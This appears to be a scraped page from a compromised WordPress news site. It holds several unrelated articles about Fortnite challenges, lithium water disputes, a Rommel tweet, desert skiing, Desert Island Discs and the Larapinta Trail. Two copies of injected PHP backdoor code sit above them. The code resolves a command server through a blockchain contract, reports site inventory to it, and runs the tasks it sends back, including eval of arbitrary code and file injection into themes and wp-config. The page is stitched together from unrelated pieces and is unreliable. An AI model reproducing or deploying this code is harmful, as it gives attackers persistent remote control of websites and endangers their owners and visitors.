Huw Kingston
September 19, 2018
// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
Fortnite giant face is one of the big week 1 season 8 challenges. Visit a giant face in the desert, the jungle and the snow is one of the paid-for Battle Pass challenges for Fortnite season 8 week 1. Completing the Fortnite giant face challenge for season 8 week 1 will reward Battle Royale players with five Battle Stars. If you’re struggling to find the map locations for visit a giant face in the desert, the jungle, and the snow then don’t worry – Express.co.uk is here to help. We have all the map locations you need to solve the Fortnite giant face challenge. To find the Fortnite giant face in the desert Battle Royale players need to head to the Paradise Palms location. As revealed in a post by YouTuber ImBiglee, the first Fortnite giant face location can be found on one of the Paradise Palms mountains. This Fortnite giant face can be found in square H10 on the Battle Royale map. The Fortnite giant face in the jungle can be found just west of the new Lazy Lagoon location. This Fortnite giant face is located in square F3 on the Battle Royale map. And finally the Fortnite giant face in the snow can be found near Happy Hamlet. This Fortnite giant face in the snow can be found in square E10 on the Battle Royale map. If you’re wondering, then here are the other Fortnite week 1 season 8 challenges… Fortnite Season 8 Week 1 free challenges: • Visit all Pirate Camps (7) • Search Chests at Retail Row or Junk Junction (7) • Stage 1 – Deal Damage with a Shotgun and an Explosive Weapon in a single match (2) Fortnite Season 8 Week 1 Battle Pass challenges: • Visit a giant face in the desert, the jungle, and the snow (3) • Use a Volcano Vent in different matches (5) • Get an elimination with a Shotgun, assault Rifle, and an Explosive Weapon (3) • Deal Damage to a vehicle driven by an opponent (200) The Fortnite season 8 Battle Pass is out now on PS4, Xbox One, PCs, Nintendo Switch, iOS, Android and Macs. If you managed to complete 13 Overtime challenges before the season 7 end then you will have earned a free season 8 Battle Pass. If not, then you can purchase a Fortnite season 8 Battle Pass for 950 V-Bucks. • Stay tuned to Express.co.uk for more Fortnite and Fortnite season 8 news

Enlarge / A general view of Laguna Colorada located near the border with Chile, in the Uyuni salt flats, Bolivia. The Uyuni salt flats are estimated to contain 100 million tons of lithium, making it one of the largest global reserves of this mineral, according to state officials at the Bolivian Mining Corporation. (credit: MARTIN BERNETTI/AFP/Getty Images)
Two of the world’s biggest lithium producers, Albemarle Corporation and Sociedad Quimica y Minera de Chile (otherwise known as SQM), are tangled in two disputes: the first over water rights in Chile’s Atacama desert, and the second over ownership of SQM.
Both Albemarle and and SQM have significant operations in the Atacama desert, where some of the world’s best lithium resources exist. As electric vehicles with lithium-ion batteries become more popular, lithium resources are becoming more valuable. That has created some conflict in an industry that has long remained relatively quiet.
This week, Reuters reported that both Albemarle and SQM have accused each other of overdrawing brine from the Atacama’s underground aquifers. Both companies have operations in the Atacama’s Salar, and their operations are just three miles apart from each other. The brine water that has been accumulating for millennia under the Atacama is lithium-rich, and companies pump it out and send the brine to evaporation ponds where heat extracts the water and leaves the reactive alkali metal behind.
Read 10 remaining paragraphs | Comments
]]>
A German defense ministry official became the target of an angry Twitter mob after paying tribute to Erwin Rommel, igniting furious debate about whether the German general was a hero or a Nazi war criminal.
Peter Tauber, a senior defense ministry official who previously served as the Secretary General of Angela Merkel’s Christian Democratic Union (CDU), took to Twitter on Sunday to commemorate the anniversary of Rommel’s death.
“Erwin Rommel, who was forced to commit suicide by the Nazis, died 74 years ago today,” Tauber wrote.
Heute vor 74 Jahren starb Erwin Rommel, von den Nazis zum Selbstmord gezwungen.
— Peter Tauber (@petertauber) October 14, 2018
The tweet was poorly received, with many pointing to Rommel’s alleged crimes as a field marshal serving Hitler’s Nazi Germany.
“Sorry, was your account hacked?” Petra Pau of the Left Party replied. “Rommel participated in war crimes (to put it mildly), like so many others.”
“That war crimes were committed under his command in Italy should not be forgotten here,” Green MP Omid Nouripour said.
As per tradition, the tweet was also bombarded with a hailstorm of sarcastic memes.
However, others came to Tauber’s defense, with one Twitter user noting that “the barracks where I am stationed is still called Rommel Barracks.”
In a follow-up tweet, Tauber dismissed“leftist” anger over his comment as mere hyperventilation. He also defended his tweet in an interview with Bild, in which he claimed that Rommel had “repeatedly disregarded criminal orders” and had heroically plotted against Hitler.
Known as the “Desert Fox” for his crafty tactical displays in North Africa, Rommel was forced to commit suicide on Hitler’s orders, after being implicated in a plot to kill the Nazi leader.
Like this story? Share it with a friend!
]]>
flickr/Murray Foubister
When you think of the desert, chances are, your thoughts gravitate towards a hot, arid, and sunny climate.
But the desert is also host to some top-notch skiing.See the rest of the story at Business Insider
NOW WATCH: What happens when you sleep in your contacts
See Also:
SEE ALSO: The 10 best ski resorts in the US
![]()
Desert Island Discs, was hosted for the first time by Lauren Laverne, 40, and joining her on the episode was Tom Daley, 24.
The Olympic diver was the first castaway on the new show, following original host Kirsty Young’s departure from the BBC Radio 4 show.
When asked what luxury item he wanted, which the programme’s venerable format allows him to request, Tom pushed his luck with Lauren.
As a keen cook, who he explained, hosts a Monday night dinner club for more than twelve people at his home every week, Tom asked for an entire fitted kitchen.
But Lauren had to be stern with her guest and explained: “I am new to this. It is my first day.
“I have really got to stick to the rules and I think a full kitchen is a stretch. I can do you an oven,” she compromised.
During the conversation, Tom also spoke about fatherhood as well as the competitive world of sport.
The diver and his husband, film-maker Dustin Lance Black, recently had a baby, Robert Ray back in June.
And he explained how his life priorities have shifted since his baby’s arrival.
“There are bigger thanks than Olympic medals. My Olympic medal is Robbie.”
Tom described his new role as a father as an “amazing, magical experience every day”.
But he did say how having Robbie Ray has allowed him to really focus on training for his sport.
“I feel incredibly lucky to wake up and see out little Robbie Ray in his little bed. He is just the cutest little thing.
“So I want to make sure that every little second I am away from him in training, I am doing the best that I can do, to make sure it is damn worth it.”
Lauren had taken over from Kirsty, 49, after the original host had announced she was suffering from a form of fibromyalgia, earlier in the year.
In a statement to the Press Association, Kirsty explained: “Casting away some of the world’s most fascinating people is a wonderful job.
“However, I’m having to take some time away from Desert Island Discs as I’m suffering from a form of fibromyalgia.
“I wish Lauren all the very best, I know she will be great. I very much look forward to getting back to good health and back to work.”
Lauren also released a statement and added: “It’s a huge honour to be asked to cover my favourite programme on behalf of one of my heroes.
“As a listener first and foremost, I know what a special place Desert Island Discs holds in the hearts of the British public.
“So much of that is down to the warmth, wit and peerless skill of Kirsty Young. I wish Kirsty better and will do my very best to look after Desert Island Discs until her return.”
Desert Island Discs with Tom Daley is available on the radio iPlayer and returns next Sunday at 11:15am on BBC Radio 4.
Huw Kingston
September 19, 2018
Close to 20 years after he first traversed—and fell in love with—Australia’s 225-kilometer-long Larapinta Trail, adventurer Huw Kingston revisits the Northern Territory to see if the trail still holds his gaze.
“Bad country, bad country.” These were the only words the old Vietnamese man mustered as we flew across Australia.
It was the ‘80s and he was moving to Australia as a refugee, leaving behind the troubled tropical lushness of Vietnam, while I was returning from a trip to India. For some hours now, all he had seen of his new home was the desert.
I tried to explain the landscape would change when we finally reached Sydney and the east coast. But his fear and my incomprehensible language just had him shaking his head in disbelief and repeating his mantra: “Bad country, bad country.”
Now, nearly 30 years later, I’m high above those deserts again, flying west across them from Sydney to Alice Springs, to spend some time on the Larapinta Trail (‘Larapinta’ translates to ‘salty creek’ in the local Aranda dialect)—which is now billed as ‘one of Australia’s most spectacular bushwalking and trekking experiences.’
Waves of red sand line up below me but unlike their ocean counterparts, these waves break into nowhere. Then, approaching Alice, mountains appear; real mountains. First the ridges of the East MacDonnells, then, as the plane banks, the long line of the West MacDonnell Range, including Mount Sonder and solitary Mount Zeil, the highest point in the Northern Territory.
RELATED: Tackling Mordor on New Zealand’s best day hike
Close to 20 years ago, before the Larapinta was fully signposted and complete, I walked the length of the range. That hike was part of a long journey walking and riding a rather circuitous 5,000 kilometer route from Perth to Adelaide. After weeks in the relative flatness of the desert, those mountains took me by surprise and, relishing the rocky scrambling and lofty viewpoints, left me feeling refreshed, as mountains invariably do.
Now, I’m sampling a mere five days on the trail—but it’s not long before the Larapinta has me in its thrall once again. Because here is a range that challenges anything Tasmania or the Australian Alpine high country offers: Airy ridges, deep red rock gorges, mountain amphitheaters and rivers snaking through it all. Trees—the white-trunked ghost gum and scrubby mulga—offer shade while pale green spinifex grass lies in wait—ready to spike anyone who ventures off the trail. It draws blood from my uncovered legs more than once.
The easternmost point of the Larapinta Trail is the Old Telegraph Station, a mere three kilometers from the center of Alice Springs, with the westernmost end at Redbank Gorge, 160 kilometers west. The beauty of the trail is that you can walk its entirety for two weeks or more, or easily access it for shorter sections and day walks from different entry points.
RELATED: How tough can ‘Britain’s toughest trail’ really be?
At Standley Chasm, we sit for nearly three hours as Dea Mack, a guide from Cultural Connections NT, does her best to bring us up to speed on 60,000 years of Aboriginal life across Australia. “The power is with the listener,” she says. Any journey in Australia is enriched by some understanding of cultural history, and a session with Dea is a fantastic way to gain some.
